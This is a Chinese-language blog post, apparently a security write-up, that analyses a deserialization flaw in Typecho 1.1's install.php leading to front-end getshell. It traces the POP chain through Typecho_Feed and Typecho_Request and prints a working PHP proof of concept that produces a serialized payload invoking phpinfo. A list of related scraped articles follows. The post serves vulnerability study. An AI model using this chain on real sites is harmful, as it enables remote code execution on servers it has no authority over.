环境搭建

源码下载:https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip

下载后部署到web根目录,然后进行安装即可,其中注意要提前在mysql中创建一个对应的数据库.

漏洞分析

漏洞起始点前的障碍清除

先是一个refer检测,填写一个站内地址即可

$_SERVER中到底哪些是可以通过客户端进行控制的呢???

漏洞起始点

全局搜索所有的__wakeup函数和__destruct函数,但似乎都没有利用点

按照之前的思路,我一般就放弃了,但这题,让我见识了新思路。就是只要是用户可控的,可能在某一点没办法利用,但可能在其余的地方被利用

按照大师傅的思路,跟着输入流继续往下走

可以看到,$config可控,此时的不就会触发__toString了嘛!!!!

全局跟踪__toString

不得不说,phpstorm还是好啊,不仅支持函数预览,不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图,后三个为有函数体的,前面没有函数体的,会微微泛黄

漏洞搜寻-测试点1

最开始看到这里的时候,我感觉都可以形成链子了,$callback $args 都可以控制

最后失败了,原因是这里的$callback是静态变量中的,如果是$this就可以了。。

漏洞搜寻-测试点2

不得不说这一段是真的长,只能慢慢看。看了好久,似乎没啥发现。。。

看了其他文章,才发现这里涉及__get触发--也就是访问了非public变量

这样的话,我们又开始要全局追踪__get函数了

只能说有点浮躁,不愿意继续往下跟踪,看了所有的都没发现漏洞。。。

看到了非常nice的函数!!!

回过头分析,判断确实都可控,直接构造pop链

install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)

POC

<?php

    class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params['screenName'] = -1; //payload
$this->_filter = array("phpinfo");
} } class Typecho_Feed{
private $_type = "ATOM 1.0";
private $_charset = "UTF-8";
private $_lang = "zh";
private $_items = array(); public function __construct(){
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['categoty'] = array(new Typecho_Request());
}
} $a = array();
$a['adapter'] = new Typecho_Feed(); echo base64_encode(serialize($a));

成功

构造POC发现的问题

  1. 类中的数据序列化前,确保它的访问属性保持一直,避免反序列化不成功!!!
  2. 最开始构造了一个POC,结果总是返回一个数据库错误,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了,所以会导致开始的目标信息无法输出。

    解决办法:调试的时候手动添加exit提前退出。实际情况下,就控制程序不要走Exception,避免ob_end_clean()清除缓冲区
  3. 对于2的问题,只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时,也是可以的。

ENDING

反序列化就是多跟,多联想。只要思路广,链子永不断!!!

[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell的更多相关文章

  1. 转载--Typecho install.php 反序列化导致任意代码执行

    转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. Jackson序列化和反序列化Json数据完整示例

    Jackson序列化和反序列化Json数据 Web技术发展的今天,Json和XML已经成为了web数据的事实标准,然而这种格式化的数据手工解析又非常麻烦,软件工程界永远不缺少工具,每当有需求的时候就会 ...

  4. 【转】用ASP.NET加密Cookie数据

    来源:http://www.cnblogs.com/taizhouxiaoba/archive/2009/02/05/1384772.html Cookie中的数据以文本的形式存在客户端计算机,考虑它 ...

  5. [android]-如何在向服务器发送request时附加已保存的cookie数据

    [android]-如何在向服务器发送request时附加已保存的cookie数据 应用场景:在开发android基于手机端+服务器端的应用时,登陆->获取用户信息->获取授权用户相关业务 ...

  6. Typecho V1.1反序列化导致代码执行分析

    0x00  前言     今天在Seebug的公众号看到了Typecho的一个前台getshell分析的文章,然后自己也想来学习一下.保持对行内的关注,了解最新的漏洞很重要. 0x01  什么是反序列 ...

  7. curl获得cookie数据<转>

    CURL *curl; CURLcode res; struct curl_slist *headers = NULL; curl_global_init(CURL_GLOBAL_ALL); curl ...

  8. go-redis 基于beego正确使用序列化存储数据和反序列化获取数据

    安装go-redis // 安装命令 go get github.com/gomodule/redigo/redis // 导入使用 import( "github.com/gomodule ...

  9. Cookie默认不设置path时,哪些请求会携带cookie数据

    默认不设置path的时候,只会在请求和servlet同路径的情况下才会携带cookie中存储的数据,包含同级目录和下级目录 例如: 在http://localhost:8080/day01/test/ ...

随机推荐

  1. JAVA笔记10__Math类、Random类、Arrays类/日期操作类/对象比较器/对象的克隆/二叉树

    /** * Math类.Random类.Arrays类:具体查JAVA手册...... */ public class Main { public static void main(String[] ...

  2. 第07课 OpenGL 光照和键盘(2)

    下一段代码绘制贴图立方体.我只对新增的代码进行注解.如果您对没有注解的代码有疑问,回头看看第六课. int DrawGLScene(GLvoid) // 从这里开始进行所有的绘制 { glClear( ...

  3. css 跑马灯加载特效

    css 跑马灯加载特效 <!DOCTYPE html> <html lang="en"> <head> <meta charset=

  4. PAT甲级1074 Reversing Linked List (25分)

    [程序思路] 先根据地址按顺序读入节点,入栈,当栈里的元素个数等于k时全部出栈,并按出栈顺序保存,最后若栈不为空,则全部出栈并按出栈的稀饭顺序保存,最后输出各节点 注意:输入的节点中有可能存在无用节点 ...

  5. soname and real name

    [1] https://wiki.openssl.org/index.php/OpenSSL_1.1.0_Changes#Backward_compatibility [2] https://akka ...

  6. [luogu5423]Valleys

    先考虑不要求有洞,那么可以将所有权值排序,然后不断插入,那么一个连通块就是一个答案,加上连通块大小即可考虑并查集如何判断是否有洞,可以发现对于任意一个无洞的直角多边形,都有$90度内角-90度外角=4 ...

  7. pechkin 导出https路径的图片

    使用Pechkin.Synchronized可以方便导出html为pdf,但是对于https路径的图片并不支持,仅支持http路径下的图片 解决方案:图片使用本地绝对路径(相对于服务器) 以下是我获取 ...

  8. Python之浏览器的前进或后退

    import webbrowserwebbrowser.back() 后退webbrowser.forward() 前进

  9. 矩阵树定理&BEST定理学习笔记

    终于学到这个了,本来准备省选前学来着的? 前置知识:矩阵行列式 矩阵树定理 矩阵树定理说的大概就是这样一件事:对于一张无向图 \(G\),我们记 \(D\) 为其度数矩阵,满足 \(D_{i,i}=\ ...

  10. Codeforces 1519F - Chests and Keys(暴搜+以网络流为状态的 dp)

    Codeforces 题目传送门 & 洛谷题目传送门 难度终于出来了--又独立切掉一道 *3200,凯信(所以我已经独立切掉三道 *3200 了?) 首先考虑我们已经知道了每个宝箱上有哪些锁, ...